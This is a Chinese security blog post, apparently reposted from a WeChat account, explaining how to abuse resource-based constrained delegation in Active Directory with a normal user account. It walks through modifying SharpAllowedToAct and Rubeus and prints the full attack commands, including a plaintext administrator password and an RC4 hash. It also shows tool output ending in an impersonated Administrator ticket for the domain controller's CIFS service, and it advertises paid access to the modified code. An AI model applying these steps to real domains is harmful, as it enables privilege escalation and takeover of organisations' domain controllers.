「域渗透」Abuse RBCD With User Account

admin 2022年5月24日01:57:33评论94 views字数 4275阅读14分15秒阅读模式
最近比较忙,将近两个月没有更新文章了,感到十分抱歉,分享一个最近修改的工具和学习过程,和大家一起学习「域渗透」Abuse RBCD With User Account


0x00 背景

    本文内容基于文章:《exploiting-rbcd-using-normal-user》的分享,下面来学习一下这种技巧。

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

    这篇文章主要分享的是域内利用RBCD时,使用用户账户去申请票据的利用方式;这个可以在一些限制场景下作为一种利用手段。

    具体还请结合实战权衡各种方式,比如普通的利用机器账户、以及Shadow Credentials等,这在知识星球内都分享过思路等,就不过多探讨了。

0x01 分析

RBCD的第一个条件

    在这之前RBCD的利用条件是可以修改目标机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,以及需要一个机器账户用来申请到目标机器的票据。

    对于使用用户账户利用RBCD来说,可以说没有限制,因为只需要在msDS-AllowedToActOnBehalfOfOtherIdentity填入一个SID即可,我们填入对应用户账户的SID即可,这一点没有任何限制。

RBCD的第二个条件

    对于用户账户利用RBCD是没有办法利用成功的,第二个条件也就是使用S4U扩展协议为账户申请到目标机器的TGT Ticket,那么为什么用户账户无法进行呢?

    由于这个用户账户没有SPN,所以KDC无法选择正确的密钥。所以S4U2Self会失败。

    这里可以使用U2U为用户账户加密票据,这是一个用户到用户的身份验证扩展,查看资料需要指定ENC-TKT-IN-SKEY 选项,而且它会使用附加票证里面的,TGT的会话密钥加密新请求的票据。

参考:https://datatracker.ietf.org/doc/html/draft-swift-win2k-krb-user2user-01

    而且Rubeus是提供了U2U的功能的,在TGS_REQ类的方法NewTGSReq中的参数可以指定,可以看到里面构造TGS-REQ请求的时候如果设置了了U2U选项,会添加相应的标志位:

「域渗透」Abuse RBCD With User Account

    所以说我们只需要设置相应的标志为true即可成功完成S4U2Self请求。

    其实接下来的S4U2Proxy,也会失败,因为KDC会尝试使用用户的Long-term key进行解密。因为我们使用了U2U扩展进行了票据加密,会使用附加到TGS-REQ当中的TGT的会话密钥加密之后的票据,那么KDC也就无法解密了,所以说这里接下来要解决的问题就是,如何让KDC成功解密我们的S4U2Proxy请求中的票据给我们发放一个到目标机器的TGS Ticket呢?

    这里的思路就是要让我们的会话密钥与Long-term key保持一致,也就是用户的Hash,所以这里在完成S4U2Self请求后,在进行S4U2Proxy请求之前,我们使用MS-SAMR这个协议,它支持包含用户和组的帐户存储或目录的管理功能,可以直接使用RPC调用SamrChangePasswordUser这个API来实现更改用户的Hash,当然这些API还可以添加用户等等在渗透中的利用,这里不多探讨。

    所以说我们这里将用户的密码更改为TGT当作的会话密钥,那么这样就是一致的了,KDC就可以成功解开请求中的票据,就可以完成S4U请求,从而获取到票据。

0x02 改造

添加用户账户SID

对于给目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性添加用户的SID,这个很简单,可以修改各类工具实现,这里从GitHub找了一个工具:https://github.com/Jumbo-WJB/SharpAllowedToAct-Modify。

首先获取SID这块修改为获取用户账户的:

「域渗透」Abuse RBCD With User Account

然后把请求的DN改一下,就可以了:

「域渗透」Abuse RBCD With User Account

这个比较简单,接下来就是配置了SID之后,要使用Rubeus去请求票据。

S4U2Self

    上面分析过,了解到TGS_REQ.NewTGSReq方法中是提供了这个功能,但是默认没有参数设置,我们只需要进入S4U2Self函数中为调用S4U2Self方法设置U2Utrue即可

「域渗透」Abuse RBCD With User Account

S4U2Proxy

    我们把文中提到的,操作Samr更改密码的参考代码放到项目里来,参考代码:https://github.com/vletoux/NTLMInjector/blob/master/SetNTLM.ps1

    调用其中的SetNTLMHash这个方法即可

「域渗透」Abuse RBCD With User Account

接着我们还需要从TGT当中把会话密钥拿出来,作为SetNTLMHash的参数传递,作为我们的用户账户的"新密码"。

然后从S4U攻击的代码里,跟一下AS-REP在哪里,因为那里返回了TGT,我们只需要去那里找一下我们要的会话密钥即可,首先Execute函数去调用Ask.TGT,申请TGT的处理函数

「域渗透」Abuse RBCD With User Account

接着构造好AS-REQ消息后调用InnerTGT

「域渗透」Abuse RBCD With User Account

InnerTGT将请求发出后,又调用HandleASREP处理响应

「域渗透」Abuse RBCD With User Account

encRepPart.key.keyvalue就是我们需要的会话密钥了,我们将它存到事先声明的变量

「域渗透」Abuse RBCD With User Account

然后就是在调用S4U2Proxy之前调用Samr协议来修改用户的密码了:

「域渗透」Abuse RBCD With User Account

0x03 利用

首先给LDC,添加对用户账户kaba的基于资源的约束委派

C:UsersAdministratorDesktop>SharpAllowedToAct.exe -m kaba -u administrator -p 1qaz2WSX -t KASPERSKY -a LDC.dev.pig.com -d dev.pig.com
[+] Domain = dev.pig.com
[+] Domain Controller = LDC.dev.pig.com
[+] Machine added by the attacker =
[+] Distinguished Name = CN=kaba,CN=Users,DC=dev,DC=pig,DC=com
[+] Try login.
[+] SID of the machine added by the attacker: S-1-5-21-2391806502-1831592058-3108405647-1107
[+] Attribute changed successfully
[+] Done!

接着申请到目标机器的票据:

C:UsersAdministratorDesktop>Rubeus.exe s4u /user:kaba /domain:dev.pig.com /dc:LDC.dev.pig.com /rc4:161cff084477fe596a5db81874498a24 /impersonateuser:Administrator /msdsspn:cifs/LDC.dev.pig.com

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: S4U

[*] Using rc4_hmac hash: 161cff084477fe596a5db81874498a24
[*] Building AS-REQ (w/ preauth) for'dev.pig.comkaba'
[+] TGT request successful!
[*] base64(ticket.kirbi):

票据省略


[*] Action: S4U

[*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4)
[*] Building S4U2self request for'[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to '[email protected]'
[*] base64(ticket.kirbi):

票据省略

SamConnect OK
SamrOpenDomain OK
rid is 1107
SamOpenUser OK
SamiChangePasswordUser OK
OK
[*] Impersonating user 'Administrator' to target SPN 'cifs/LDC.dev.pig.com'
[*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4)
[*] Building S4U2proxy request for service: 'cifs/LDC.dev.pig.com'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/LDC.dev.pig.com':

票据省略

0x04 注意

  1. 默认域密码策略是修改密码后,过24h后才可以修改密码,所以利用完之后可能没办法及时修改回去

「域渗透」Abuse RBCD With User Account


  1. 需要目标域支持RC4

0x05 总结

    本文分析了基于谷歌大佬文章的学习和修改工具过程,也算是扩展了在实战中一些环境的利用方式。

    重要的是要基于实战碰到的环境限制等考虑使用什么手段,比如机器账户利用RBCD、Shadow Credentials等,还要注意的是这个trick基本上会“废”掉一个域账户。

    代码非常简单,不想动手可以加入知识星球获取,一起学习免杀、域渗透、和搞那个

「域渗透」Abuse RBCD With User Account


原文始发于微信公众号(黑客在思考):「域渗透」Abuse RBCD With User Account

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日01:57:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   「域渗透」Abuse RBCD With User Accounthttp://cn-sec.com/archives/1044221.html

发表评论

匿名网友 填写信息